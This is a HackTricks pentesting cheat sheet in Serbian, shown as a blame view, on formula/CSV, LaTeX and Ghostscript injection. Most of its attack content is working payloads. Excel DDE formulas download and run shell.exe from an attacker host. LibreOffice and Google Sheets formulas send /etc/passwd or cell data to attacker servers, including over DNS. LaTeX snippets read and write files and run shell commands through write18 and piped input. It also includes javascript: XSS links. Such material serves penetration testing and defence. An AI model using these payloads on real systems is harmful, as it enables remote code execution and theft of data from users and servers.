hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

223 lines
12 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2022-07-10 22:26:52 +00:00
## Formula Injection
### Info
Ako se vaš **unos** **reflektuje** unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da ubacite Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
{% hint style="danger" %}
Danas će **Excel upozoriti** (nekoliko puta) **korisnika kada se nešto učita izvan Excel-a** kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
{% endhint %}
2022-09-29 15:13:42 +00:00
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
2024-02-10 13:11:20 +00:00
### Hiperlink
2022-09-29 15:13:42 +00:00
**Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog excel dokumenta i za izvođenje zahteva ka proizvoljnim lokacijama. Međutim, zahteva da korisnik klikne na link (i prihvati upozorenja).**
2024-02-10 13:11:20 +00:00
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da ugrozi sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog opterećenja u aplikaciju, tačnije unošenjem štetnih formula u polja predviđena za detalje studenata. Napad se odvija na sledeći način:
1. **Ubacivanje Zlonamernog Opterećenja:**
* Napadač podnosi obrazac sa detaljima studenata, ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
* Ova formula je dizajnirana da kreira hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
2. **Izvoz Kompromitovanih Podataka:**
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije za izvoz podataka u CSV datoteku.
* Kada se CSV datoteka otvori, i dalje sadrži zlonamerno opterećenje. Ovo opterećenje se pojavljuje kao klikabilan hiperlink u tabeli.
3. **Pokretanje Napada:**
* Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja studenata.
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se prenose na server napadača.
4. **Logovanje Podataka:**
* Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
* Napadač može zatim koristiti ove podatke za različite zlonamerne svrhe, dodatno ugrožavajući privatnost i bezbednost studenata i institucije.
2022-07-10 22:26:52 +00:00
### RCE
**Proverite** [**originalni post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **za dodatne detalje.**
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička Razmena Podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
* Idite na Datoteka → Opcije → Centar Poverenja → Postavke Centra Poverenja → Spoljni Sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
2021-06-29 12:49:13 +00:00
Kada se otvori tabela sa zlonamernim opterećenjem (i ako korisnik prihvati upozorenja), opterećenje se izvršava. Na primer, da bi se pokrenula aplikacija kalkulatora, opterećenje bi bilo:
2024-02-06 03:10:38 +00:00
```markdown
=cmd|' /C calc'!xxx
2021-06-29 12:49:13 +00:00
```
Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje fajla korišćenjem PowerShell-a:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
### Lokalno uključivanje datoteka (LFI) u LibreOffice Calc-u
2021-06-29 12:49:13 +00:00
LibreOffice Calc može se koristiti za čitanje lokalnih datoteka i eksfiltraciju podataka. Evo nekih metoda:
2021-06-29 12:49:13 +00:00
* Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Eksfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Eksfiltracija više od jednog reda: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Eksfiltracija putem DNS-a (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets za eksfiltraciju podataka van trake (OOB)
2021-06-29 12:49:13 +00:00
Google Sheets nudi funkcije koje se mogu iskoristiti za eksfiltraciju podataka van trake:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Spaja nizove zajedno - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Uvozi RSS ili ATOM feed-ove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili lista - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_radne_sveske]", "sheet1!A2:E2")`
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## LaTeX Injekcija
2021-06-29 12:49:13 +00:00
Obično serveri koje ćete pronaći na internetu, a koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljeno izvršavanje komandi:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u texmf.cnf datoteci.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 listu možete pronaći u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukt `\write18{komanda}`. Komanda može biti bilo koja shell komanda. Ovaj konstrukt je obično zabranjen iz sigurnosnih razloga.
2022-07-10 22:26:52 +00:00
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE-a veoma važno koristiti `--shell-restricted`.
2022-07-10 22:26:52 +00:00
2024-02-10 13:11:20 +00:00
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
2024-02-10 13:11:20 +00:00
Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### Pročitajte jednolinijski fajl
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Pročitajte višelinijsku datoteku
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-10 13:11:20 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### Napiši fajl <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Izvršenje komande <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste je dobili.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
### Ghostscript Injection
#### Latex formula CSV to Latex conversion
Kada se koristi konverzija CSV formule u Latex, Ghostscript može biti iskorišćen za izvršavanje zlonamernog koda. Ovo se može postići ubacivanjem zlonamernog PostScript koda u CSV fajl, koji će biti izvršen prilikom konverzije u Latex pomoću Ghostscript-a. Ovo može rezultirati izvršavanjem proizvoljnog koda na serveru.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
2022-07-10 22:26:52 +00:00
**Proverite** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
2024-02-10 13:11:20 +00:00
## Reference
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-31 01:25:17 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>